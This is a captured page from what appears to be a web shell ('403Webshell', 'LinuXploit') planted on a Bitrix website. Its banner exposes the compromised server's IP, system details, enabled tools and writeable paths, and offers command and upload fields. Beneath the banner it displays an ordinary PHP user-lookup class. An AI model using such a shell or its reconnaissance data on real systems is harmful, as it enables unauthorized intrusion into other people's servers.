403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/socialnetwork/lib/Provider/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/socialnetwork/lib/Provider/UserProvider.php
<?php

declare(strict_types=1);

namespace Bitrix\Socialnetwork\Provider;

use Bitrix\Main\UserTable;
use Bitrix\Socialnetwork\Helper\InstanceTrait;
use Bitrix\Socialnetwork\Provider\User\User;
use Bitrix\Socialnetwork\Provider\User\UserCollection;
use CSite;
use CUser;

class UserProvider
{
	use InstanceTrait;

	protected static array $users = [];

	public function enrich(array $userIds): UserCollection
	{
		if (empty($userIds))
		{
			return new UserCollection();
		}

		$notStoredUserIds = $this->getNotStoredUserIds($userIds);
		$storedUserIds = $this->getStoredUserIds($userIds);

		$storedUsers = $this->getUsersFromStorage($storedUserIds);

		$userCollection = new UserCollection(...$storedUsers);
		if (empty($notStoredUserIds))
		{
			return $userCollection;
		}

		$select = [
			'ID',
			'NAME',
			'LAST_NAME',
			'SECOND_NAME',
			'LOGIN',
			'EMAIL',
			'TITLE',
		];

		$nameFormat = CSite::getNameFormat();

		$users = UserTable::query()
			->setSelect($select)
			->whereIn('ID', $notStoredUserIds)
			->exec()
			->fetchCollection();

		foreach ($users as $userEntity)
		{
			$fullName = CUser::FormatName(
				$nameFormat,
				[
					'NAME' => $userEntity->getName(),
					'LAST_NAME' => $userEntity->getLastName(),
					'SECOND_NAME' => $userEntity->getSecondName(),
					'LOGIN' => $userEntity->getLogin(),
					'EMAIL' => $userEntity->getEmail(),
					'TITLE' => $userEntity->getTitle(),
				],
				true,
				false
			);

			$user = new User(
				id: $userEntity->getId(),
				firstName: $userEntity->getName(),
				lastName: $userEntity->getLastName(),
				fullName: $fullName,
			);

			$userCollection->add($user);
		}

		return $userCollection;
	}

	protected function getNotStoredUserIds(array $userIds): array
	{
		return array_filter($userIds, static fn (int $userId): bool => !isset(static::$users[$userId]));
	}

	protected function getStoredUserIds(array $userIds): array
	{
		return array_filter($userIds, static fn (int $userId): bool => isset(static::$users[$userId]));
	}

	/** @return User[] */
	protected function getUsersFromStorage(array $userIds): array
	{
		return array_filter(static::$users, static fn (User $user): bool => in_array($user->getId(), $userIds, true));
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit